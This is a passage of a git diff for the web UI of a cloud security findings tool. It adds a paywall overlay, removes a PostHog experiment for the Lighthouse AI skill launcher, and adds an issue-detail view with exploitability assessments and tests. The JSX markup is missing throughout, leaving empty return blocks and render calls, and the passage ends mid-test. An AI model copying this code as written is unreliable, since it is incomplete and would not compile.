+// Floats over the blurred rows of a locked /findings table.
+export function FindingsPreviewLock({ totalCount }: FindingsPreviewLockProps) {
+ const openCloudUpgrade = useCloudUpgradeStore(
+ (state) => state.openCloudUpgrade,
+ );
+ const scope =
+ totalCount !== undefined
+ ? `of ${totalCount.toLocaleString()} finding groups`
+ : "finding groups";
+
+ return (
+
+
+
+
+
+ Showing the {FINDINGS_PREVIEW_ROW_LIMIT} most critical {scope}
+
+
+ Upgrade to unlock the full list, pagination, and every affected
+ resource.
+
+
+ openCloudUpgrade(
+ PAID_PLAN_UPGRADE_FEATURE.FINDINGS_PREVIEW,
+ event.currentTarget,
+ )
+ }
+ >
+ Unlock All Findings
+
+
+ );
+}
diff --git a/ui/components/findings/table/inline-resource-container.tsx b/ui/components/findings/table/inline-resource-container.tsx
index 9a34ba8c1f..4e1ee01684 100644
--- a/ui/components/findings/table/inline-resource-container.tsx
+++ b/ui/components/findings/table/inline-resource-container.tsx
@@ -19,8 +19,8 @@ import { Skeleton } from "@/components/shadcn/skeleton/skeleton";
import { LoadingState } from "@/components/shadcn/spinner/loading-state";
import { TableCell, TableRow } from "@/components/shadcn/table";
import { useFindingGroupResourceState } from "@/hooks/use-finding-group-resource-state";
-import { useMountEffect } from "@/hooks/use-mount-effect";
import { useScrollHint } from "@/hooks/use-scroll-hint";
+import { useScrollportPin } from "@/hooks/use-scrollport-pin";
import { buildFindingResourceContext } from "@/lib/lighthouse/context/contributions";
import { cn } from "@/lib/utils";
import { SIDE_PANEL_TAB, useSidePanelStore } from "@/store/side-panel";
@@ -224,31 +224,9 @@ export function InlineResourceContainer({
// moves the group columns while this block stays in place — which also
// lets the sub-table's own sticky actions column anchor to a scrollport
// that is actually visible from the start.
- const [scrollportPin, setScrollportPin] = useState<{
- width: number;
- left: number;
- } | null>(null);
- useMountEffect(() => {
- const scrollParent = scrollContainerRef.current?.closest(
- "[data-table-scroll-container]",
- );
- if (!(scrollParent instanceof HTMLElement)) return;
- const measure = () => {
- const styles = getComputedStyle(scrollParent);
- const paddingLeft = parseFloat(styles.paddingLeft);
- setScrollportPin({
- width:
- scrollParent.clientWidth -
- paddingLeft -
- parseFloat(styles.paddingRight),
- left: paddingLeft,
- });
- };
- measure();
- const observer = new ResizeObserver(measure);
- observer.observe(scrollParent);
- return () => observer.disconnect();
- });
+ const scrollportPin = useScrollportPin(() =>
+ scrollContainerRef.current?.closest("[data-table-scroll-container]"),
+ );
// Combine scrollContainerRef (for IntersectionObserver root) with scrollHintContainerRef
const combinedScrollRef = (node: HTMLDivElement | null) => {
diff --git a/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-block.test.tsx b/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-block.test.tsx
deleted file mode 100644
index 53e8362757..0000000000
--- a/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-block.test.tsx
+++ /dev/null
@@ -1,90 +0,0 @@
-import { render, screen } from "@testing-library/react";
-import userEvent from "@testing-library/user-event";
-import { describe, expect, it, vi } from "vitest";
-
-import { LighthouseSkillsBlock } from "./lighthouse-skills-block";
-
-describe("LighthouseSkillsBlock", () => {
- it("should render every skill with its description", () => {
- // Given / When
- render(
- ,
- );
-
- // Then
- expect(screen.getByText("Lighthouse AI Skills")).toBeInTheDocument();
- expect(screen.getByText("Contextual Fix")).toBeInTheDocument();
- expect(screen.getByText("Triage Decision")).toBeInTheDocument();
- expect(screen.getByText("Systemic Scope")).toBeInTheDocument();
- expect(screen.getByText("Compliance Impact")).toBeInTheDocument();
- expect(
- screen.getByText("Is this real, and if not, close it out"),
- ).toBeInTheDocument();
- });
-
- it("should launch the clicked skill", async () => {
- // Given
- const user = userEvent.setup();
- const onLaunchSkill = vi.fn();
- render(
- ,
- );
-
- // When
- await user.click(screen.getByRole("button", { name: /Triage Decision/ }));
-
- // Then
- expect(onLaunchSkill).toHaveBeenCalledOnce();
- expect(onLaunchSkill.mock.calls[0][0]).toMatchObject({
- id: "triage-decision",
- });
- });
-
- it("should render disabled skills as coming soon and not launch them", async () => {
- // Given
- const user = userEvent.setup();
- const onLaunchSkill = vi.fn();
- render(
- ,
- );
-
- // Then
- const card = screen.getByRole("button", { name: /Compliance Impact/ });
- expect(card).toBeDisabled();
- expect(screen.getByText("Coming soon")).toBeInTheDocument();
-
- // When
- await user.click(card);
-
- // Then
- expect(onLaunchSkill).not.toHaveBeenCalled();
- });
-
- it("should keep the free-form fallback available", async () => {
- // Given
- const user = userEvent.setup();
- const onAskAnything = vi.fn();
- render(
- ,
- );
-
- // When
- await user.click(
- screen.getByRole("button", {
- name: /ask Lighthouse anything about this finding/i,
- }),
- );
-
- // Then
- expect(onAskAnything).toHaveBeenCalledOnce();
- });
-});
diff --git a/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-block.tsx b/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-block.tsx
deleted file mode 100644
index 073c7fb2ef..0000000000
--- a/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-block.tsx
+++ /dev/null
@@ -1,92 +0,0 @@
-"use client";
-
-import { ArrowRight } from "lucide-react";
-
-import { LighthouseIcon } from "@/components/icons";
-import { Card } from "@/components/shadcn/card/card";
-import { getAllSkills } from "@/lib/lighthouse/skills/registry";
-import type { LighthouseSkillDefinition } from "@/types/lighthouse-skills";
-
-interface LighthouseSkillsBlockProps {
- onLaunchSkill: (skill: LighthouseSkillDefinition) => void;
- onAskAnything: () => void;
-}
-
-// Finding-detail CTA: a grid of launchable agentic workflows plus
-// the free-form "ask anything" fallback that the old gradient banner offered.
-export function LighthouseSkillsBlock({
- onLaunchSkill,
- onAskAnything,
-}: LighthouseSkillsBlockProps) {
- return (
-
-
-
-
- Lighthouse AI Skills
-
-
- Run in chat
-
-
-
- {getAllSkills().map((skill) => (
- onLaunchSkill(skill)}
- />
- ))}
-
-
- Or ask Lighthouse anything about this finding →
-
-
- );
-}
-
-function SkillCard({
- skill,
- onLaunch,
-}: {
- skill: LighthouseSkillDefinition;
- onLaunch: () => void;
-}) {
- const Icon = skill.icon;
-
- return (
-
-
-
-
- {skill.name}
- {skill.enabled ? (
-
- ) : (
-
- Coming soon
-
- )}
-
-
- {skill.description}
-
-
-
- );
-}
diff --git a/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-rail.tsx b/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-rail.tsx
index 8a9abd7331..1b5eb28ea0 100644
--- a/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-rail.tsx
+++ b/ui/components/findings/table/resource-detail-drawer/lighthouse-skills-rail.tsx
@@ -24,9 +24,9 @@ interface LighthouseSkillsRailProps {
onSubmitPrompt: (text: string) => void;
}
-// Finding-detail skill launcher, "dropdown" experiment variant (chip rail):
-// one compact row under the finding title — direct-launch chips plus a +N
-// trigger opening the same skills menu used by the table row surfaces.
+// Finding-detail skill launcher (chip rail): one compact row under the
+// finding title — direct-launch chips plus a +N trigger opening the same
+// skills menu used by the table row surfaces.
export function LighthouseSkillsRail({
onLaunchSkill,
onSubmitPrompt,
diff --git a/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.test.tsx b/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.test.tsx
index a8a55195fb..e9eae3ee65 100644
--- a/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.test.tsx
+++ b/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.test.tsx
@@ -28,7 +28,6 @@ const {
mockRequestPanelChatMessage,
mockRequestPanelSkillLaunch,
mockIsCloud,
- mockUseSkillLauncherVariant,
mockCurrentLighthouseContext,
} = vi.hoisted(() => ({
mockGetComplianceIcon: vi.fn((_: string) => null as string | null),
@@ -43,7 +42,6 @@ const {
mockRequestPanelChatMessage: vi.fn(),
mockRequestPanelSkillLaunch: vi.fn(),
mockIsCloud: vi.fn(() => true),
- mockUseSkillLauncherVariant: vi.fn(() => "card"),
mockCurrentLighthouseContext: {
schemaVersion: 1,
transport: "inline",
@@ -310,10 +308,6 @@ vi.mock("@/components/icons", () => ({
LighthouseIcon: () => null,
}));
-vi.mock("./use-skill-launcher-variant", () => ({
- useSkillLauncherVariant: mockUseSkillLauncherVariant,
-}));
-
vi.mock("@/components/icons/services/IconServices", () => ({
JiraIcon: () => null,
}));
@@ -571,7 +565,6 @@ afterEach(() => {
(_: string) => null as string | null,
);
mockIsCloud.mockReturnValue(true);
- mockUseSkillLauncherVariant.mockReturnValue("card");
useSidePanelStore.setState({
isOpen: false,
selectedTab: SIDE_PANEL_TAB.AI_CHAT,
@@ -840,82 +833,7 @@ const mockResourceRow: FindingResourceRow = {
lastSeenAt: null,
};
-describe("ResourceDetailDrawerContent — Lighthouse AI", () => {
- it("should open the Lighthouse tab without starting a conversation", async () => {
- // Given
- const user = userEvent.setup();
- useSidePanelStore.setState({
- isOpen: true,
- selectedTab: SIDE_PANEL_TAB.CONTEXT,
- });
- render(
- ,
- );
-
- // When: the free-form fallback only navigates to the chat tab
- await user.click(
- screen.getByRole("button", {
- name: /ask Lighthouse anything about this finding/i,
- }),
- );
-
- // Then — no conversation is started on the user's behalf
- expect(mockRequestPanelChatMessage).not.toHaveBeenCalled();
- expect(useSidePanelStore.getState()).toMatchObject({
- isOpen: true,
- selectedTab: SIDE_PANEL_TAB.AI_CHAT,
- });
-
- // And launching a skill goes through the skill launcher with the context
- await user.click(screen.getByRole("button", { name: /Triage Decision/ }));
- expect(mockRequestPanelSkillLaunch).toHaveBeenCalledWith(
- expect.objectContaining({ id: "triage-decision" }),
- mockCurrentLighthouseContext,
- );
- });
-
- it("should hide the action when the Lighthouse panel tab is unavailable", () => {
- // Given
- mockIsCloud.mockReturnValue(false);
-
- // When
- render(
- ,
- );
-
- // Then
- expect(screen.queryByText("Lighthouse AI Skills")).not.toBeInTheDocument();
- expect(
- screen.queryByRole("button", {
- name: /ask Lighthouse anything about this finding/i,
- }),
- ).not.toBeInTheDocument();
- });
-});
-
-describe("ResourceDetailDrawerContent — skill launcher experiment", () => {
+describe("ResourceDetailDrawerContent — Lighthouse skills rail", () => {
const renderDrawer = (overrides: { isNavigating?: boolean } = {}) =>
render(
{
/>,
);
- it("should swap the footer card for the header chip rail on the dropdown variant", async () => {
+ it("should launch a skill from the header chip rail", async () => {
// Given
const user = userEvent.setup();
- mockUseSkillLauncherVariant.mockReturnValue("dropdown");
renderDrawer();
- // Then — control card gone, rail chips present. The always-open dropdown
- // mock repeats every skill as a menu button, hence getAllByRole.
- expect(screen.queryByText("Lighthouse AI Skills")).not.toBeInTheDocument();
+ // Then — rail chips present. The always-open dropdown mock repeats every
+ // skill as a menu button, hence getAllByRole.
expect(
screen.getAllByRole("button", { name: "Contextual Fix" }).length,
).toBeGreaterThan(0);
@@ -964,7 +880,6 @@ describe("ResourceDetailDrawerContent — skill launcher experiment", () => {
it("should start a fresh conversation from the rail prompt", async () => {
// Given
const user = userEvent.setup();
- mockUseSkillLauncherVariant.mockReturnValue("dropdown");
renderDrawer();
// When
@@ -989,7 +904,6 @@ describe("ResourceDetailDrawerContent — skill launcher experiment", () => {
it("should hide the rail outside cloud and while navigating", () => {
// Given
- mockUseSkillLauncherVariant.mockReturnValue("dropdown");
mockIsCloud.mockReturnValue(false);
// When
@@ -1012,21 +926,6 @@ describe("ResourceDetailDrawerContent — skill launcher experiment", () => {
screen.queryByRole("button", { name: "Contextual Fix" }),
).not.toBeInTheDocument();
});
-
- it("should keep the card control for unresolved or unknown variants", () => {
- // Given — the hook already collapses those to "card"; the drawer treats
- // anything that is not exactly "dropdown" as control.
- mockUseSkillLauncherVariant.mockReturnValue("card");
-
- // When
- renderDrawer();
-
- // Then
- expect(screen.getByText("Lighthouse AI Skills")).toBeInTheDocument();
- expect(
- screen.queryByRole("button", { name: "More Lighthouse skills" }),
- ).not.toBeInTheDocument();
- });
});
describe("ResourceDetailDrawerContent — remediation code editors", () => {
@@ -1914,7 +1813,9 @@ describe("ResourceDetailDrawerContent — header skeleton while navigating", ()
expect(screen.getByText("security")).toBeInTheDocument();
expect(screen.queryByText("Status Extended:")).not.toBeInTheDocument();
expect(screen.queryByText("uid-1")).not.toBeInTheDocument();
- expect(screen.queryByText("Lighthouse AI Skills")).not.toBeInTheDocument();
+ expect(
+ screen.queryByRole("button", { name: "More Lighthouse skills" }),
+ ).not.toBeInTheDocument();
});
it("should keep the overview tab shell visible with section skeletons when navigating to a different check", () => {
diff --git a/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.tsx b/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.tsx
index a02617e3c1..24fff8df1c 100644
--- a/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.tsx
+++ b/ui/components/findings/table/resource-detail-drawer/resource-detail-drawer-content.tsx
@@ -91,10 +91,7 @@ import type {
UpdateFindingTriageInput,
} from "@/types/findings-triage";
import { JIRA_DISPATCH_TARGET } from "@/types/integrations";
-import {
- SKILL_LAUNCHER_VARIANT,
- type LighthouseSkillDefinition,
-} from "@/types/lighthouse-skills";
+import type { LighthouseSkillDefinition } from "@/types/lighthouse-skills";
import { Muted } from "../../muted";
import { DeltaIndicator } from "../delta-indicator";
@@ -105,11 +102,9 @@ import {
} from "../finding-triage-cells";
import { DeltaValues, NotificationIndicator } from "../notification-indicator";
-import { LighthouseSkillsBlock } from "./lighthouse-skills-block";
import { LighthouseSkillsRail } from "./lighthouse-skills-rail";
import { ResourceDetailSkeleton } from "./resource-detail-skeleton";
import type { CheckMeta } from "./use-resource-detail-drawer";
-import { useSkillLauncherVariant } from "./use-skill-launcher-variant";
const OTHER_FINDINGS_ACTION_CELL_CLASS =
"sticky right-0 z-20 min-w-12 last:rounded-r-none! overflow-visible bg-bg-neutral-secondary before:pointer-events-none before:absolute before:inset-y-0 before:-left-8 before:w-8 before:bg-gradient-to-r before:from-transparent before:to-bg-neutral-secondary before:content-[''] group-hover:bg-bg-neutral-tertiary group-hover:before:to-bg-neutral-tertiary";
@@ -322,10 +317,6 @@ export function ResourceDetailDrawerContent({
const searchParams = useSearchParams();
const openSidePanel = useSidePanelStore((state) => state.openPanel);
const lighthouseContext = useLighthouseCurrentContext();
- // A/B experiment: PostHog decides between the footer card (control) and
- // the header chip rail. Falls back to the card until the flag resolves.
- const isDropdownLauncher =
- useSkillLauncherVariant() === SKILL_LAUNCHER_VARIANT.DROPDOWN;
const [isMuteModalOpen, setIsMuteModalOpen] = useState(false);
const [optimisticallyMutedIds, setOptimisticallyMutedIds] = useState<
Set
@@ -471,19 +462,11 @@ export function ResourceDetailDrawerContent({
return result;
};
- // Navigation only: the panel picks up the focused finding as context on its
- // own, so no conversation is started on the user's behalf.
- const handleOpenLighthouseChat = () => {
- openSidePanel(SIDE_PANEL_TAB.AI_CHAT);
- };
-
const handleLaunchSkill = (skill: LighthouseSkillDefinition) => {
openSidePanel(SIDE_PANEL_TAB.AI_CHAT);
requestPanelSkillLaunch(skill, lighthouseContext.context);
};
- // TODO(experiment): capture launch origin + skill id via cloud's
- // trackEvent/ANALYTICS_EVENTS once the flag readout event lands.
const handleSubmitPrompt = (text: string) => {
openSidePanel(SIDE_PANEL_TAB.AI_CHAT);
requestPanelChatMessage(text, lighthouseContext.context);
@@ -596,9 +579,8 @@ export function ResourceDetailDrawerContent({
)}
- {/* Skill launcher experiment, "dropdown" variant: chip rail under the
- title instead of the footer card. */}
- {isCloud() && !isNavigating && isDropdownLauncher && (
+ {/* Lighthouse skill launcher: chip rail under the title. */}
+ {isCloud() && !isNavigating && (
-
- {/* Lighthouse AI Skills (design 1d) — the experiment's card control */}
- {isCloud() && !isNavigating && !isDropdownLauncher && (
-
- )}
);
}
diff --git a/ui/components/findings/table/resource-detail-drawer/use-skill-launcher-variant.test.ts b/ui/components/findings/table/resource-detail-drawer/use-skill-launcher-variant.test.ts
deleted file mode 100644
index cbd6491ab5..0000000000
--- a/ui/components/findings/table/resource-detail-drawer/use-skill-launcher-variant.test.ts
+++ /dev/null
@@ -1,49 +0,0 @@
-import { renderHook } from "@testing-library/react";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const { useFeatureFlagVariantKeyMock } = vi.hoisted(() => ({
- useFeatureFlagVariantKeyMock: vi.fn(),
-}));
-
-vi.mock("posthog-js/react", () => ({
- useFeatureFlagVariantKey: useFeatureFlagVariantKeyMock,
-}));
-
-import { useSkillLauncherVariant } from "./use-skill-launcher-variant";
-
-describe("useSkillLauncherVariant", () => {
- beforeEach(() => {
- useFeatureFlagVariantKeyMock.mockReset();
- });
-
- it("should ask PostHog for the experiment flag", () => {
- useFeatureFlagVariantKeyMock.mockReturnValue(undefined);
-
- renderHook(() => useSkillLauncherVariant());
-
- expect(useFeatureFlagVariantKeyMock).toHaveBeenCalledWith(
- "finding-detail-skill-launcher",
- );
- });
-
- it("should return the dropdown variant when the flag resolves to it", () => {
- useFeatureFlagVariantKeyMock.mockReturnValue("dropdown");
-
- const { result } = renderHook(() => useSkillLauncherVariant());
-
- expect(result.current).toBe("dropdown");
- });
-
- it.each([
- ["card", "card"],
- ["unresolved flag", undefined],
- ["boolean flag", false],
- ["unknown variant", "weird"],
- ])("should fall back to card for %s", (_label, flagValue) => {
- useFeatureFlagVariantKeyMock.mockReturnValue(flagValue);
-
- const { result } = renderHook(() => useSkillLauncherVariant());
-
- expect(result.current).toBe("card");
- });
-});
diff --git a/ui/components/findings/table/resource-detail-drawer/use-skill-launcher-variant.ts b/ui/components/findings/table/resource-detail-drawer/use-skill-launcher-variant.ts
deleted file mode 100644
index 81fdfd72c1..0000000000
--- a/ui/components/findings/table/resource-detail-drawer/use-skill-launcher-variant.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-"use client";
-
-import { useFeatureFlagVariantKey } from "posthog-js/react";
-
-import {
- SKILL_LAUNCHER_FLAG,
- SKILL_LAUNCHER_VARIANT,
- type SkillLauncherVariant,
-} from "@/types/lighthouse-skills";
-
-// The hook reads the global posthog singleton (posthog-js/react's default
-// context), so it needs no provider or init here: the cloud fork initializes
-// and identifies the client; OSS builds never resolve the flag and fall back
-// to the card control, as do unresolved or unknown variants.
-export function useSkillLauncherVariant(): SkillLauncherVariant {
- const value = useFeatureFlagVariantKey(SKILL_LAUNCHER_FLAG);
- return value === SKILL_LAUNCHER_VARIANT.DROPDOWN
- ? SKILL_LAUNCHER_VARIANT.DROPDOWN
- : SKILL_LAUNCHER_VARIANT.CARD;
-}
diff --git a/ui/components/issues/issue-detail.test.tsx b/ui/components/issues/issue-detail.test.tsx
new file mode 100644
index 0000000000..e2679e534d
--- /dev/null
+++ b/ui/components/issues/issue-detail.test.tsx
@@ -0,0 +1,111 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import { IssueDetail } from "@/components/issues/issue-detail";
+import { IssueAttributes } from "@/types/issues";
+
+const { getIssueMock, getIssueFindingsMock } = vi.hoisted(() => ({
+ getIssueMock: vi.fn(),
+ getIssueFindingsMock: vi.fn(),
+}));
+
+vi.mock("next/navigation", () => ({ useRouter: () => ({ refresh: vi.fn() }) }));
+
+vi.mock("@/actions/issues", () => ({
+ getIssue: getIssueMock,
+ getIssueFindings: getIssueFindingsMock,
+}));
+
+vi.mock("@/components/issues/issue-graph", () => ({
+ IssueGraph: ({ resourceUids }: { resourceUids: string[] }) => (
+ {resourceUids.length} resources
+ ),
+}));
+
+const resourceUids = Array.from({ length: 15 }, (_, i) => `resource-${i + 1}`);
+
+const issue = {
+ pattern: "unmodelled",
+ cloud: "aws",
+ account: "prod",
+ title: "Findings no attack path models yet (300)",
+ verdict: "unknown",
+ severity: "high",
+ legs: {},
+ fix: "Review these findings individually.",
+ findings_count: 300,
+ inserted_at: "",
+ updated_at: "",
+} as unknown as IssueAttributes;
+
+describe("IssueDetail", () => {
+ beforeEach(() => {
+ getIssueMock.mockReset();
+ getIssueFindingsMock.mockResolvedValue([]);
+ });
+
+ it("links to the issue's scan findings and reveals every folded resource", async () => {
+ getIssueMock.mockResolvedValue({
+ data: { attributes: { resource_uids: resourceUids } },
+ });
+ const user = userEvent.setup();
+ render( );
+
+ expect(
+ screen.getByRole("link", { name: /failed findings/i }),
+ ).toHaveAttribute(
+ "href",
+ "/findings?filter%5Bscan__in%5D=scan-1&filter%5Bstatus__in%5D=FAIL",
+ );
+
+ // The list leaves the uids out; the detail fetches them when it opens.
+ expect(getIssueMock).toHaveBeenCalledWith("issue-1");
+ expect(await screen.findByText("resource-1")).toBeInTheDocument();
+ expect(screen.queryByText("resource-15")).not.toBeInTheDocument();
+ await user.click(
+ screen.getByRole("button", { name: "Show more resources" }),
+ );
+ expect(screen.getByText("resource-15")).toBeInTheDocument();
+ expect(screen.getByTestId("issue-graph")).toHaveTextContent("15 resources");
+ });
+
+ it("says so when the resources cannot be loaded", async () => {
+ getIssueMock.mockResolvedValue(undefined);
+ render( );
+
+ expect(
+ await screen.findByText(/could not load the resources/i),
+ ).toBeInTheDocument();
+ expect(screen.queryByTestId("issue-graph")).not.toBeInTheDocument();
+ });
+
+ it("reports a failed findings request and retries using the issue scan", async () => {
+ // Given
+ getIssueMock.mockResolvedValue({
+ data: {
+ attributes: {
+ resource_uids: resourceUids,
+ finding_uids: ["finding-uid"],
+ },
+ },
+ });
+ getIssueFindingsMock
+ .mockResolvedValueOnce(undefined)
+ .mockResolvedValueOnce([]);
+ render( );
+
+ // When
+ expect(await screen.findByRole("alert")).toHaveTextContent(
+ "Could not load the findings for this issue",
+ );
+ expect(screen.queryByTestId("issue-graph")).not.toBeInTheDocument();
+ await userEvent.click(screen.getByRole("button", { name: "Retry" }));
+
+ // Then
+ expect(await screen.findByTestId("issue-graph")).toBeInTheDocument();
+ expect(getIssueFindingsMock).toHaveBeenLastCalledWith("scan-1", [
+ "finding-uid",
+ ]);
+ });
+});
diff --git a/ui/components/issues/issue-detail.tsx b/ui/components/issues/issue-detail.tsx
new file mode 100644
index 0000000000..e5d0eeda18
--- /dev/null
+++ b/ui/components/issues/issue-detail.tsx
@@ -0,0 +1,234 @@
+"use client";
+
+import Link from "next/link";
+import { useEffect, useState } from "react";
+
+import { getIssue, getIssueFindings } from "@/actions/issues";
+import { IssueGraph } from "@/components/issues/issue-graph";
+import { IssuesLoadError } from "@/components/issues/issues-load-error";
+import { Badge } from "@/components/shadcn/badge/badge";
+import { Button } from "@/components/shadcn/button/button";
+import { Card } from "@/components/shadcn/card/card";
+import { CodeSnippet } from "@/components/shadcn/code-snippet";
+import { legBadgeVariant } from "@/lib/issues/verdicts";
+import {
+ IssueAttributes,
+ IssueFinding,
+ LegName,
+ LegState,
+} from "@/types/issues";
+
+const LEG_QUESTIONS: Record = {
+ reachability: "Can an attacker reach it?",
+ access: "Can an attacker authenticate or bypass authentication?",
+ target: "Is there a target worth reaching?",
+ controls: "Are protective controls in place?",
+ verification: "Would the activity be detected?",
+};
+const LEG_LABELS: Record = {
+ reachability: "Reachability",
+ access: "Access",
+ target: "Target",
+ controls: "Controls",
+ verification: "Verification",
+};
+const STATE_LABELS: Record = {
+ yes: "Yes",
+ no: "No",
+ partial: "Partly",
+ unknown: "Unknown",
+};
+const RESOURCE_PAGE_SIZE = 12;
+
+interface IssueDetailProps {
+ id: string;
+ issue: IssueAttributes;
+ scanId?: string;
+ providerId?: string;
+}
+
+type ResourcesState =
+ | { status: "loading" }
+ | { status: "error" }
+ | {
+ status: "loaded";
+ resources: string[];
+ findings: IssueFinding[] | undefined;
+ scanId?: string;
+ providerId?: string;
+ };
+
+export const IssueDetail = ({
+ id,
+ issue,
+ scanId,
+ providerId,
+}: IssueDetailProps) => {
+ const [visibleResources, setVisibleResources] = useState(RESOURCE_PAGE_SIZE);
+ const [attempt, setAttempt] = useState(0);
+ // Resource UIDs are only included by the detail endpoint, fetched on expansion.
+ const [state, setState] = useState({ status: "loading" });
+
+ useEffect(() => {
+ let cancelled = false;
+ getIssue(id)
+ .then(async (detail) => {
+ if (cancelled) return;
+ const attributes = detail?.data?.attributes;
+ if (!attributes?.resource_uids) {
+ setState({ status: "error" });
+ return;
+ }
+ const detailScanId =
+ detail?.data.relationships?.scan?.data?.id ?? scanId;
+ const detailProviderId =
+ detail?.data.relationships?.provider?.data?.id ?? providerId;
+ const findingUids = attributes.finding_uids ?? [];
+ const findings = detailScanId
+ ? await getIssueFindings(detailScanId, findingUids)
+ : findingUids.length === 0
+ ? []
+ : undefined;
+ if (!cancelled)
+ setState({
+ status: "loaded",
+ resources: attributes.resource_uids,
+ findings,
+ scanId: detailScanId,
+ providerId: detailProviderId,
+ });
+ })
+ .catch(() => {
+ if (!cancelled) setState({ status: "error" });
+ });
+ return () => {
+ cancelled = true;
+ };
+ }, [id, scanId, providerId, attempt]);
+
+ const retry = () => {
+ setState({ status: "loading" });
+ setAttempt((value) => value + 1);
+ };
+ const activeScanId = state.status === "loaded" ? state.scanId : scanId;
+
+ return (
+
+ {state.status === "loaded" && state.findings === undefined && (
+
+ )}
+ {state.status === "loaded" &&
+ state.findings !== undefined &&
+ state.resources.length > 0 && (
+
+ )}
+
+
+ Exploitability assessment
+
+
+ {(Object.keys(LEG_QUESTIONS) as LegName[]).map((name) => {
+ const leg = issue.legs[name];
+ if (!leg) return null;
+ return (
+
+
+
{LEG_LABELS[name]}
+
+ {STATE_LABELS[leg.state]}
+
+
+
+ {LEG_QUESTIONS[name]}
+
+
+ {leg.text}
+
+ {leg.evidence.length > 0 && (
+
+ {leg.evidence.map((line) => (
+
+
+
+ ))}
+
+ )}
+
+ );
+ })}
+
+
+ {state.status === "loading" ? (
+
+ Loading issue details…
+
+ ) : state.status === "error" ? (
+
+ ) : state.resources.length > 0 ? (
+
+
+ Affected resources ({state.resources.length})
+
+
+ {state.resources.slice(0, visibleResources).map((uid) => (
+
+
+
+ ))}
+
+ {visibleResources < state.resources.length && (
+
+ setVisibleResources((value) => value + RESOURCE_PAGE_SIZE)
+ }
+ >
+ Show more resources
+
+ )}
+ {visibleResources > RESOURCE_PAGE_SIZE && (
+ setVisibleResources(RESOURCE_PAGE_SIZE)}
+ >
+ Show fewer resources
+
+ )}
+
+ ) : null}
+
+ Remediation
+ {issue.fix}
+ {activeScanId && (
+
+
+ Open this scan's failed findings
+
+
+ )}
+
+
+ );
+};
diff --git a/ui/components/issues/issue-graph.adapter.test.ts b/ui/components/issues/issue-graph.adapter.test.ts
new file mode 100644
index 0000000000..75372477b9
--- /dev/null
+++ b/ui/components/issues/issue-graph.adapter.test.ts
@@ -0,0 +1,213 @@
+import { describe, expect, it } from "vitest";
+
+import {
+ buildIssueGraph,
+ GRAPH_RESOURCE_LIMIT,
+} from "@/components/issues/issue-graph.adapter";
+import { IssueAttributes } from "@/types/issues";
+
+const leg = (state: string, evidence: string[] = []) => ({
+ state,
+ text: "",
+ evidence,
+});
+
+const issue = (overrides: Partial = {}) =>
+ ({
+ pattern: "aws_public_bucket",
+ verdict: "likely",
+ severity: "high",
+ legs: {
+ reachability: leg("yes", ["s3_bucket_public_access · arn:aws:s3:::a"]),
+ access: leg("unknown"),
+ target: leg("yes", ["s3_bucket_public_access · arn:aws:s3:::a"]),
+ controls: leg("no", ["s3_bucket_default_encryption · arn:aws:s3:::b"]),
+ verification: leg("no"),
+ },
+ ...overrides,
+ }) as unknown as IssueAttributes;
+
+const ids = (view: ReturnType) =>
+ view.nodes.map((n) => n.id);
+
+describe("buildIssueGraph", () => {
+ it("draws folded findings absent from leg evidence with their real severity", () => {
+ // Given - only the instance is cited, but both security groups also have findings.
+ const resources = ["instance", "security-group-ssh", "security-group-rdp"];
+ const assessedIssue = issue();
+ assessedIssue.legs.reachability.evidence = ["ssh · instance"];
+ const findings = resources.map((resourceUid, index) => ({
+ id: `finding-${index}`,
+ checkId: index === 2 ? "rdp" : "ssh",
+ checkTitle: index === 2 ? "RDP exposed" : "SSH exposed",
+ severity: index === 0 ? ("critical" as const) : ("high" as const),
+ resourceUid,
+ }));
+
+ // When
+ const view = buildIssueGraph(assessedIssue, resources, findings);
+
+ // Then - cited findings are not duplicated and every resource has its finding.
+ expect(view.edges).toHaveLength(3);
+ for (const finding of findings) {
+ expect(view.nodes).toContainEqual(
+ expect.objectContaining({
+ id: `finding:${finding.checkId} · ${finding.resourceUid}`,
+ properties: expect.objectContaining({
+ finding_id: finding.id,
+ check_title: finding.checkTitle,
+ severity: finding.severity,
+ }),
+ }),
+ );
+ }
+ });
+
+ it("prioritizes folded findings over evidence-only resources at the graph limit", () => {
+ // Given - the first 12 resources have evidence; the last has a folded finding.
+ const resources = Array.from(
+ { length: GRAPH_RESOURCE_LIMIT + 1 },
+ (_, index) => `resource-${index}`,
+ );
+ const assessedIssue = issue();
+ assessedIssue.legs.reachability.evidence = resources
+ .slice(0, GRAPH_RESOURCE_LIMIT)
+ .map((uid) => `supporting-check · ${uid}`);
+ const resourceUid = resources[GRAPH_RESOURCE_LIMIT];
+ // When
+ const view = buildIssueGraph(assessedIssue, resources, [
+ {
+ id: "folded",
+ checkId: "ssh",
+ checkTitle: "SSH exposed",
+ severity: "critical",
+ resourceUid,
+ },
+ ]);
+ // Then
+ expect(view.nodes[0].id).toBe(`resource:${resourceUid}`);
+ expect(ids(view)).toContain(`finding:ssh · ${resourceUid}`);
+ expect(
+ view.nodes.filter((node) => node.id.startsWith("resource:")),
+ ).toHaveLength(GRAPH_RESOURCE_LIMIT);
+ });
+
+ it("draws only resource-to-finding evidence associations", () => {
+ const view = buildIssueGraph(issue(), ["arn:aws:s3:::a", "arn:aws:s3:::b"]);
+
+ expect(ids(view)).toEqual([
+ "resource:arn:aws:s3:::a",
+ "resource:arn:aws:s3:::b",
+ // The same evidence line on two legs is one finding.
